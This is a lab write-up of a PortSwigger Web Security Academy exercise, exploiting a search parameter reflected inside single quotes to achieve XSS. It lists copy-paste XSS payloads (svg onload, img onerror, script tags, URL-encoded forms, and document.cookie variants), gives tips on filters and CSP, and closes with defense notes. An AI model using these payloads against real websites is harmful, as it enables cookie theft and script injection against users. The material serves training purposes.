DOM XSS sink using location.search
DOM XSS sink using location.search: Exploit the search endpoint’s reflected output to achieve XSS by breaking out of the single‑quoted context and injecting script that demonstrates code execution (e.g., alert(1) or alert(document.cookie) if readable). • PortSwigger • XSS • lab3-lab4, portswigger
🎯 Objective
Exploit the search endpoint’s reflected output to achieve XSS by breaking out of the single‑quoted context and injecting script that demonstrates code execution (e.g., alert(1) or alert(document.cookie) if readable).
🧩 What I’m exploiting
- The site reflects the
searchparameter inside single quotes in the HTML (e.g., an attribute likevalue='<term>'or an anchor/template fragment). - Because the reflection uses single quotes (
') as the delimiter, injecting a lone'closes the attribute value. - Appending
>ends the tag, letting me inject my own HTML/JS right after. - Result: payloads like
'"><svg/onload=alert(1)>execute.
Baseline request (example)
GET /?search=ko HTTP/1.1
Host: 0a79004c04dfa6dec009169700f700fd.web-security-academy.net
...Observed: the term is echoed and wrapped with single quotes, confirming the injection point and quote context.
🧭 Steps I Took
Confirm reflection & context
- Request with
search=koand inspect HTML. I saw the value wrapped with single quotes → plan to break with'.
- Request with
Probe tag break
- Send a
>to see if I can escape the current tag and write markup after it: ...?search=%3E(that’s>URL‑encoded). Rendering changed as expected.
- Send a
Close quote + break tag + inject
- Use
'"><svg/onload=alert(1)>after the reflected spot: - This closes the
', ends the tag with>, then injects an SVG with an onload handler to run JS.
- Use
Confirm execution
- Page triggers
alert(1). (If cookies are HttpOnly,alert(document.cookie)may appear empty—execution still proves XSS.)
- Page triggers
📎 Copy‑paste payloads
Direct (single‑quoted attribute sink)
'><svg/onload=alert(1)>'><img src=x onerror=alert(1)>'><script>alert(1)</script>URL‑encoded quickies
%27%3E%3Csvg/onload%3Dalert(1)%3E%27%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E%27%3E%3Cscript%3Ealert(1)%3C/script%3EWith cookie read (if not HttpOnly)
'><svg/onload=alert(document.cookie)>%27%3E%3Csvg/onload%3Dalert(document.cookie)%3EFull URL template
https://<LAB-HOST>/?search='%3E%3Csvg/onload%3Dalert(1)%3E(Replace <LAB-HOST> with your instance domain.)
🧪 Troubleshooting
- No pop‑up? Click any injected element if needed (some payloads require user interaction, though the ones above auto‑execute).
- Seeing HTML encoded output (
</>)? The app may be encoding angle brackets. Try other sinks or contexts (e.g., event handlers within allowed tags), or look for a different reflection point. - Double‑quoted context (
")? Use"instead of'to break out:"><svg/onload=alert(1)>(URL‑encode accordingly). - CSP/XSS filters: If there’s a restrictive CSP, try payloads that fit allowed sources (e.g.,
data:where allowed) or JSON‑based DOM sinks. Labs usually keep CSP relaxed for this exercise.
🔒 Defense (notes)
- Apply context‑aware output escaping for HTML attributes (escape
'as'or use safe templating). - Enforce allowlists for
searchoutput and avoid writing user input into attributes/HTML directly. - Add a strict CSP (nonces/hashes; avoid
unsafe-inline) to reduce exploitability. - Server‑side validation/logging for dangerous metacharacters.
✅ Result
- Confirmed that the
searchparameter is reflected inside a single‑quoted attribute. - Broke out with
'+>and injected DOM content that executed (alert(1)), solving the lab. - For Lab #4, the same payload pattern (
'"><svg/onload=...>) worked as well.